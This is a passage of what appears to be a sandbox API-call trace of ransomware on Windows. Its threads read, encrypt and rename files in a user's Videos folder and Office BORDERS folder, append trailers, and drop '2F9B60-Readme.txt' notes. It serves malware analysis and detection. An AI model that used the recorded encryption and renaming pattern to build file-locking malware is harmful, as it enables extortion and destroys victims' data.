BaseAddress=0x1cd98020) returned 1 [0120.165] WriteFile (in: hFile=0x1840, lpBuffer=0x202b20b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4117fc80, lpOverlapped=0x0 | out: lpBuffer=0x202b20b0*, lpNumberOfBytesWritten=0x4117fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0122.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b20b0) returned 1 [0122.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c8910) returned 1 [0122.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cda0570 [0122.186] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.186] WriteFile (in: hFile=0x1840, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x4117fd30, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x4117fd30*=0x114, lpOverlapped=0x0) returned 1 [0122.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0122.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0122.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a7bb0 [0122.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0122.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fd0 [0122.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7fd0) returned 1 [0122.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1cd970d0 [0122.930] sprintf (in: _Dest=0x1cd970d0, _Format="%c%c" | out: _Dest="69") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970d2, _Format="%c%c" | out: _Dest="cc") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970d4, _Format="%c%c" | out: _Dest="4e") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970d6, _Format="%c%c" | out: _Dest="7f") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970d8, _Format="%c%c" | out: _Dest="fb") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970da, _Format="%c%c" | out: _Dest="a0") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970dc, _Format="%c%c" | out: _Dest="6c") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970de, _Format="%c%c" | out: _Dest="88") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970e0, _Format="%c%c" | out: _Dest="9a") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970e2, _Format="%c%c" | out: _Dest="b2") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970e4, _Format="%c%c" | out: _Dest="5a") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970e6, _Format="%c%c" | out: _Dest="8a") returned 2 [0122.930] sprintf (in: _Dest=0x1cd970e8, _Format="%c%c" | out: _Dest="99") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970ea, _Format="%c%c" | out: _Dest="c9") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970ec, _Format="%c%c" | out: _Dest="47") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970ee, _Format="%c%c" | out: _Dest="09") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970f0, _Format="%c%c" | out: _Dest="6c") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970f2, _Format="%c%c" | out: _Dest="dc") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970f4, _Format="%c%c" | out: _Dest="60") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970f6, _Format="%c%c" | out: _Dest="9b") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970f8, _Format="%c%c" | out: _Dest="c5") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970fa, _Format="%c%c" | out: _Dest="3f") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970fc, _Format="%c%c" | out: _Dest="0e") returned 2 [0122.931] sprintf (in: _Dest=0x1cd970fe, _Format="%c%c" | out: _Dest="e3") returned 2 [0122.931] sprintf (in: _Dest=0x1cd97100, _Format="%c%c" | out: _Dest="7a") returned 2 [0122.931] sprintf (in: _Dest=0x1cd97102, _Format="%c%c" | out: _Dest="56") returned 2 [0122.931] sprintf (in: _Dest=0x1cd97104, _Format="%c%c" | out: _Dest="39") returned 2 [0122.931] sprintf (in: _Dest=0x1cd97106, _Format="%c%c" | out: _Dest="d0") returned 2 [0122.931] sprintf (in: _Dest=0x1cd97108, _Format="%c%c" | out: _Dest="ac") returned 2 [0122.931] sprintf (in: _Dest=0x1cd9710a, _Format="%c%c" | out: _Dest="2c") returned 2 [0122.931] sprintf (in: _Dest=0x1cd9710c, _Format="%c%c" | out: _Dest="85") returned 2 [0122.931] sprintf (in: _Dest=0x1cd9710e, _Format="%c%c" | out: _Dest="bc") returned 2 [0122.931] sprintf (in: _Dest=0x1cd97110, _Format="%c%c" | out: _Dest="24") returned 2 [0122.932] sprintf (in: _Dest=0x1cd97112, _Format="%c%c" | out: _Dest="b7") returned 2 [0122.932] RtlInitAnsiString (in: DestinationString=0x4117fda8, SourceString="69cc4e7ffba06c889ab25a8a99c947096cdc609bc53f0ee37a5639d0ac2c85bc24b7" | out: DestinationString="69cc4e7ffba06c889ab25a8a99c947096cdc609bc53f0ee37a5639d0ac2c85bc24b7") [0122.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x4117fd78, SourceString="69cc4e7ffba06c889ab25a8a99c947096cdc609bc53f0ee37a5639d0ac2c85bc24b7", AllocateDestinationString=1 | out: DestinationString="69cc4e7ffba06c889ab25a8a99c947096cdc609bc53f0ee37a5639d0ac2c85bc24b7") returned 0x0 [0122.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b1190 [0122.932] wcscat (in: _Dest=0x1cd658c0, _Source="69cc4e7ffba06c889" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\69cc4e7ffba06c889") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\69cc4e7ffba06c889" [0122.932] wcscat (in: _Dest=0x1cd658c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\69cc4e7ffba06c889.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\69cc4e7ffba06c889.2f9b60" [0122.932] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\69cc4e7ffba06c889.2f9b60", NtPathName=0x4117fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\69cc4e7ffba06c889.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1193e0 [0123.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0123.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf479b0) returned 1 [0123.223] NtQueryInformationFile (in: FileHandle=0x1840, IoStatusBlock=0x4117fdb8, FileInformation=0x4117fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4117fdb8, FileInformation=0x4117fdc8) returned 0x0 [0123.223] NtSetInformationFile (FileHandle=0x1840, IoStatusBlock=0x4117fdb8, FileInformation=0x4117fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd658c0) returned 1 [0123.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1190) returned 1 [0123.245] FlushFileBuffers (hFile=0x1840) returned 1 [0123.250] CloseHandle (hObject=0x1840) returned 1 [0123.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad600 [0123.278] wcscpy (in: _Dest=0x202ad600, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.278] wcscat (in: _Dest=0x202ad600, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.278] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0x20 [0123.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad600) returned 1 [0123.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0790) returned 1 Thread: id = 1458 os_tid = 0x191c [0120.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr")) returned 0x20 [0120.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR", dwFileAttributes=0x20) returned 1 [0120.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1844 [0120.172] GetFileSizeEx (in: hFile=0x1844, lpFileSize=0x40e3fe40 | out: lpFileSize=0x40e3fe40*=32246) returned 1 [0120.173] SetFilePointerEx (in: hFile=0x1844, liDistanceToMove=0x7df2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.173] ReadFile (in: hFile=0x1844, lpBuffer=0x40e3fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x40e3fe08, lpOverlapped=0x0 | out: lpBuffer=0x40e3fdc0*, lpNumberOfBytesRead=0x40e3fe08*=0x4, lpOverlapped=0x0) returned 1 [0120.798] SetFilePointerEx (in: hFile=0x1844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6680 [0120.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6830 [0120.799] NtQuerySystemTime (in: CurrentTime=0x40e3fd00 | out: CurrentTime=0x40e3fd00*=132462177261958000) returned 0x0 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x3e55ba01 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x4f48875 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0xc51676 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0xa3598f8 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x2cdc939c [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x264561c0 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x6f5afbb3 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x732e963 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x5561596e [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x6375d6db [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x269b1340 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x195e5d4 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x2d4cf140 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x30a0cc0f [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x7669ca06 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0xaf41e6c [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x4a49bea4 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x6262bae0 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x4709902 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x4918a53e [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x271553b7 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x296a67ff [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x7fee8774 [0120.799] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x4254e970 [0120.800] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0xce4db9a [0120.800] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x2364d33c [0120.800] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x1492081e [0120.800] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x51a5f304 [0120.800] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x1a01145 [0120.800] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x13491f97 [0120.800] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x71bc2967 [0120.800] RtlRandomEx (in: Seed=0x40e3fcf0 | out: Seed=0x40e3fcf0) returned 0x451cf5b [0120.809] SetFilePointerEx (in: hFile=0x1844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.809] ReadFile (in: hFile=0x1844, lpBuffer=0x1ce7f1d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40e3fd60, lpOverlapped=0x0 | out: lpBuffer=0x1ce7f1d0*, lpNumberOfBytesRead=0x40e3fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0121.330] SetFilePointerEx (in: hFile=0x1844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978a0 [0121.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504690 [0121.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a6c0) returned 1 [0121.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c80d80 [0124.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ad0 [0124.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0124.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609b0) returned 1 [0124.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504690) returned 1 [0124.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0124.453] WriteFile (hFile=0x1844, lpBuffer=0x41c80d80, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40e3fd60, lpOverlapped=0x0) [0173.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c80d80) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce7f1d0) returned 1 [0173.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x422f3910 [0173.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0173.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0173.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3970 [0173.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3970) returned 1 [0173.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x422f3970 [0173.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3940 [0173.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3880 [0173.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3880) returned 1 [0173.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0173.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0173.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x42c17d40 [0173.017] SetFilePointerEx (in: hFile=0x1844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0173.017] WriteFile (in: hFile=0x1844, lpBuffer=0x42c17d40*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x40e3fe10, lpOverlapped=0x0 | out: lpBuffer=0x42c17d40*, lpNumberOfBytesWritten=0x40e3fe10*=0x106, lpOverlapped=0x0) returned 1 [0199.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0199.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0199.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee00 [0199.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ee00) returned 1 [0199.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0199.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee00 [0199.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee60 [0199.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ee60) returned 1 [0199.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0199.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0199.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ebf0 [0199.966] sprintf (in: _Dest=0x1cd9ebf0, _Format="%c%c" | out: _Dest="34") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ebf2, _Format="%c%c" | out: _Dest="1a") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ebf4, _Format="%c%c" | out: _Dest="29") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ebf6, _Format="%c%c" | out: _Dest="d5") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ebf8, _Format="%c%c" | out: _Dest="9d") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ebfa, _Format="%c%c" | out: _Dest="cb") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ebfc, _Format="%c%c" | out: _Dest="d2") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ebfe, _Format="%c%c" | out: _Dest="51") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec00, _Format="%c%c" | out: _Dest="f7") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec02, _Format="%c%c" | out: _Dest="57") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec04, _Format="%c%c" | out: _Dest="f4") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec06, _Format="%c%c" | out: _Dest="48") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec08, _Format="%c%c" | out: _Dest="fd") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec0a, _Format="%c%c" | out: _Dest="05") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec0c, _Format="%c%c" | out: _Dest="ef") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec0e, _Format="%c%c" | out: _Dest="c3") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec10, _Format="%c%c" | out: _Dest="e7") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec12, _Format="%c%c" | out: _Dest="d0") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec14, _Format="%c%c" | out: _Dest="d7") returned 2 [0199.966] sprintf (in: _Dest=0x1cd9ec16, _Format="%c%c" | out: _Dest="43") returned 2 [0199.966] RtlInitAnsiString (in: DestinationString=0x40e3fe88, SourceString="341a29d59dcbd251f757f448fd05efc3e7d0d743" | out: DestinationString="341a29d59dcbd251f757f448fd05efc3e7d0d743") [0199.966] RtlAnsiStringToUnicodeString (in: DestinationString=0x40e3fe58, SourceString="341a29d59dcbd251f757f448fd05efc3e7d0d743", AllocateDestinationString=1 | out: DestinationString="341a29d59dcbd251f757f448fd05efc3e7d0d743") returned 0x0 [0199.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b8586d0 [0199.967] wcscat (in: _Dest=0x431e3580, _Source="341a29d59d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\341a29d59d") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\341a29d59d" [0199.967] wcscat (in: _Dest=0x431e3580, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\341a29d59d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\341a29d59d.2f9b60" [0199.967] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\341a29d59d.2f9b60", NtPathName=0x40e3fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\341a29d59d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431f36f0 [0226.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f36f0) returned 1 [0226.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1af40) returned 1 [0226.113] NtQueryInformationFile (in: FileHandle=0x1844, IoStatusBlock=0x40e3fe98, FileInformation=0x40e3fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x40e3fe98, FileInformation=0x40e3fea8) returned 0x0 [0226.113] NtSetInformationFile (FileHandle=0x1844, IoStatusBlock=0x40e3fe98, FileInformation=0x40e3fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0229.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e3580) returned 1 [0229.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8586d0) returned 1 [0229.636] FlushFileBuffers (hFile=0x1844) returned 1 [0234.356] CloseHandle (hObject=0x1844) returned 1 [0239.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4319c9a0 [0239.452] wcscpy (in: _Dest=0x4319c9a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0239.452] wcscat (in: _Dest=0x4319c9a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0239.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0239.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c9a0) returned 1 [0239.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c0f0) returned 1 Thread: id = 1459 os_tid = 0x1920 [0120.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 0x20 [0120.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR", dwFileAttributes=0x20) returned 1 [0120.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1848 [0120.175] GetFileSizeEx (in: hFile=0x1848, lpFileSize=0x40adf880 | out: lpFileSize=0x40adf880*=9292) returned 1 [0120.175] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x2448, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.175] ReadFile (in: hFile=0x1848, lpBuffer=0x40adf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x40adf848, lpOverlapped=0x0 | out: lpBuffer=0x40adf800*, lpNumberOfBytesRead=0x40adf848*=0x4, lpOverlapped=0x0) returned 1 [0120.810] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6830 [0120.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a69b0 [0120.810] NtQuerySystemTime (in: CurrentTime=0x40adf740 | out: CurrentTime=0x40adf740*=132462177262114000) returned 0x0 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x956573a [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x2e232d00 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x52225dbe [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 